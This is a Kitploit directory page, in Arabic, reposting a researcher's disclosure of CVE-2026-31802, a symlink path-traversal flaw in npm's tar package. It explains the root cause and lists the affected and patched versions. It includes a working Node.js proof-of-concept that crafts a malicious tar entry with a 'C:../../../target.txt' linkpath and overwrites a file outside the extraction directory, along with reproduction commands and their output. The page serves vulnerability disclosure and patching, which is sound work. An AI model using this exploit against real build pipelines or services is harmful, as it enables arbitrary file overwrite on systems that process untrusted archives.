Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-31802 — إثبات المفهوم والتقرير الفني لـ CVE-2026-31802، وهو ثغرة اجتياز المسار عبر الروابط الرمزية (symlink) في npm tar تسمح بالكتابة فوق ملفات عشوائية خارج دليل الاستخراج. | Kitploit
أدوات/GitHubGitHub/jvr2022/cve-2026-31802
تحليل الثغرات الأمنيةالاستغلالأمن الويبأمن سلسلة التوريد
GitHubjvr2022/cve-2026-31802

CVE-2026-31802

إثبات المفهوم والتقرير الفني لـ CVE-2026-31802، وهو ثغرة اجتياز المسار عبر الروابط الرمزية (symlink) في npm tar تسمح بالكتابة فوق ملفات عشوائية خارج دليل الاستخراج.

عرض المستودع
115منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-31802: ثغرة اجتياز المسار عبر الروابط الرمزية في tar / الكتابة فوق الملفات التعسفية

البحث: Joshua van Rijswijk

الوصف

يحتوي هذا المستودع على إثبات المفهوم والتحليل الخاص بي لثغرة CVE-2026-31802، وهي ثغرة عالية الخطورة في حزمة tar الخاصة بـ npm (node-tar) والتي تؤثر على الإصدارات <= 7.5.10.

اكتشفت أنه يمكن خداع tar لإنشاء رابط رمزي يشير إلى خارج دليل الاستخراج المقصود باستخدام هدف رابط رمزي نسبي لمحرك الأقراص مثل C:../../../target.txt. عمليًا، هذا يجعل من الممكن الهروب من cwd أثناء الاستخراج وتحويل استخراج الأرشيف إلى أداة كتابة فوق الملفات التعسفية.

يمكن الوصول إلى الثغرة من خلال سلوك الاستخراج العادي مع أرشيفات tar يتحكم فيها المهاجم.

الخلفية

أثناء فحص كيفية تعامل tar مع استخراج الروابط الرمزية، لاحظت أن بعض قيم linkpath كانت تُعالج بشكل غير متسق أثناء التنظيف والتحقق. على وجه الخصوص، المسارات النسبية لمحرك الأقراص مثل:

root@kitploit:~
C:../../../target.txt

كانت تُعاد كتابتها قبل الاستخدام، ولكن لم يتم التحقق منها بنفس الصيغة التي تم تخزينها وتطبيقها في النهاية.

هذا التباين هو ما يجعل الثغرة قابلة للاستغلال.

السبب الجذري

تأتي الثغرة من كيفية معالجة tar لقيم linkpath المصممة بعناية للروابط الرمزية أثناء الاستخراج.

على مستوى عالٍ، يقوم منطق الاستخراج بإزالة بادئة محرك الأقراص من مسار مثل:

root@kitploit:~
C:../../../target.txt

ويعيد كتابته إلى:

root@kitploit:~
../../../target.txt

ومع ذلك، يتم إجراء فحص أمان الاجتياز مقابل القيمة الأصلية قبل الإزالة، بينما يستخدم إنشاء الرابط الرمزي لاحقًا القيمة المعاد كتابتها.

هذا يعني أن أرشيفًا خبيثًا يمكنه اجتياز التحقق باستخدام صيغة واحدة من المسار، ولكن لا يزال ينتج رابطًا رمزيًا يجتاز خارج دليل الاستخراج عند كتابته على القرص.

سير الاستغلال

يمكن أن يحتوي أرشيف خبيث على إدخال رابط رمزي مثل هذا:

root@kitploit:~
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt

عند الاستخراج باستخدام استخدام عادي مثل:

root@kitploit:~
tar.x({ cwd, file })

يحدث ما يلي:

  1. تتم إزالة بادئة محرك الأقراص من linkpath.
  2. لا يزال فحص الهروب يقيم القيمة الأصلية.
  3. يتم قبول الإدخال.
  4. يتم إنشاء الرابط الرمزي المستخرج بمسار الاجتياز المعاد كتابته.
  5. كتابة لاحقة عبر ذلك الرابط الرمزي تصل إلى ملف خارج cwd.

بعبارة أخرى، يتحقق منطق الاستخراج من قيمة واحدة ويستخدم قيمة أخرى. هذه الفجوة تخلق أداة الاجتياز.

إثبات المفهوم

كتبت إثبات المفهوم التالي لإثبات أنه يمكن جعل رابط رمزي مستخرج يشير إلى خارج جذر الاستخراج ثم استخدامه للكتابة فوق ملف خارج دليل العمل.

يقوم إثبات المفهوم بما يلي:

  • إنشاء ../target.txt
  • بناء أرشيف tar خبيث مع إدخال رابط رمزي في a/b/l
  • تعيين linkpath إلى C:../../../target.txt
  • استخراج الأرشيف إلى الدليل الحالي
  • الكتابة عبر a/b/l
  • تأكيد أن الملف الخارجي تمت الكتابة فوقه

سكربت إثبات المفهوم:

root@kitploit:~
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({
  path: 'a/b/l',
  type: 'SymbolicLink',
  linkpath: 'C:../../../target.txt',
}).encode(b, 0)

fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

إعادة الإنتاج

تثبيت إصدار ضعيف

root@kitploit:~
npm install [email protected]

تشغيل إثبات المفهوم

root@kitploit:~
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt

المخرجات الملاحظة

root@kitploit:~
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt

PWNED يؤكد أن الملف خارج دليل الاستخراج تمت الكتابة فوقه.

يُظهر مخرجا readlink وقائمة الملفات أن الرابط الرمزي المستخرج يشير إلى خارج جذر الاستخراج المقصود.

التأثير

تمنح هذه المشكلة المهاجم أداة كتابة فوق الملفات التعسفية خارج دليل الاستخراج المقصود، بصلاحيات العملية التي تقوم بالاستخراج.

تشمل السيناريوهات الواقعية:

  • أدوات سطر الأوامر التي تستخرج أرشيفات tar غير موثوقة إلى دليل عمل
  • خطوط البناء والتحديث التي تستهلك أرشيفات من جهات خارجية
  • الخدمات التي تستورد ملفات tar يقدمها المستخدم
  • أدوات المطورين التي تفك تلقائيًا الحزم أو القطع الأثرية

في تلك البيئات، يمكن لأرشيف مصمم بعناية أن يتسبب في كتابات خارج الدليل الذي تتوقع التطبيقات التحكم فيه.

الإصدارات المتأثرة

  • المتأثرة: tar <= 7.5.10
  • المصححة: tar 7.5.11

الإصلاح

تم إصلاح هذه المشكلة في 7.5.11.

يجب على المستخدمين الترقية فورًا:

root@kitploit:~
npm install tar@^7.5.11

المراجع

  • استشارة GitHub: GHSA-9ppj-qmqm-q256
  • CVE: CVE-2026-31802
تنزيل الأداة